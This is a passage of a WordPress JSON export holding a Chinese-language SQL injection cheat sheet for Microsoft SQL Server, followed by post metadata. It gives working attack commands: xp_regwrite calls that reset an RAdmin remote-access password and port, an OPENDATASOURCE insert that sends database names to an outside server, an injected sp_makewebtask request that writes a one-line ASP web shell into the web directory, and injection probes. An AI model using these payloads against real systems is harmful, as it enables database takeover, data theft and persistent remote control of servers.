\u5bfc\u5165\u6ce8\u518c\u6587\u4ef6\uff0c\u4f46\u662fmssql\u662fsa\u6743\u9650\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4 EXEC master.dbo.xp_regwrite &#8216;HKEY_LOCAL_MACHINE&#8217;,&#8217;SYSTEM\\RAdmin\\v2.0\\Server\\Parameters&#8217;,&#8217;Parameter&#8217;,&#8217;REG_BINARY&#8217;,0x02ba5e187e2589be6f80da0046aa7e3c \u5373\u53ef\u4fee\u6539\u5bc6\u7801\u4e3a123456\u3002\u5982\u679c\u8981\u4fee\u6539\u7aef\u53e3\u503c EXEC master.dbo.xp_regwrite &#8216;HKEY_LOCAL_MACHINE&#8217;,&#8217;SYSTEM\\RAdmin\\v2.0\\Server\\Parameters&#8217;,&#8217;port&#8217;,&#8217;REG_BINARY&#8217;,0xd20400 \u5219\u7aef\u53e3\u503c\u6539\u4e3a1234<br \/>\ncreate database lcx;<br \/>\nCreate TABLE ku(name nvarchar(256) null);<br \/>\nCreate TABLE biao(id int NULL,name nvarchar(256) null);<\/p>\n<p>\u3010\u5f97\u5230\u6570\u636e\u5e93\u540d\u3011<br \/>\ninsert into opendatasource(&#8216;sqloledb&#8217;,&#8217;server=xxx.xxx.xxx.xxx,1443;uid=test;pwd=pafpaf;database=lcx&#8217;).lcx.dbo.ku select name from master.dbo.sysdatabases<\/p>\n<p>\u3010\u5728Master\u4e2d\u521b\u5efa\u8868\uff0c\u770b\u770b\u6743\u9650\u600e\u6837\u3011<br \/>\nCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL)<\/p>\n<p>\u3010\u7528 sp_makewebtask\u76f4\u63a5\u5728web\u76ee\u5f55\u91cc\u5199\u5165\u4e00\u53e5\u8bdd\u9a6c\u3011<br \/>\n<a href=\"http:\/\/xxx.xxx.xxx.xxx\/dblogin123.asp?username=123\" target=\"_blank\">http:\/\/xxx.xxx.xxx.xxx\/dblogin123.asp?username=123<\/a>&#8216;;exec%20sp_makewebtask%20&#8217;d:\\www\\tt\\88.asp&#8217;,&#8217;%20select%20&#8221;&lt;%25execute(request(&#8220;a&#8221;))%25&gt;&#8221;%20&#8242;<\/p>\n<p>\u3010\u66f4\u65b0\u8868\u5185\u5bb9\u3011<br \/>\nUpdate films SET kind = &#8216;Dramatic&#8217; Where id = 123<\/p>\n<p>\u3010\u5220\u9664\u5185\u5bb9\u3011<br \/>\ndelete from table_name where Stockid = 3<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u5224\u65ad\u6709\u65e0\u6ce8\u5165\u70b9\u3011 &#8216; and 1=1 and 1=2 \u3010\u731c\u8868\u4e00\u822c\u8868\u7684\u540d\u79f0\u65e0\u975e\u662f:admin ad [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-267","post","type-post","status-publish","format-standard","hentry","category-skill"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=267"}],"version-history":[{"count":3,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/267\/revisions"}],"predecessor-version":[{"id":5097,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/267\/revisions\/5097"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}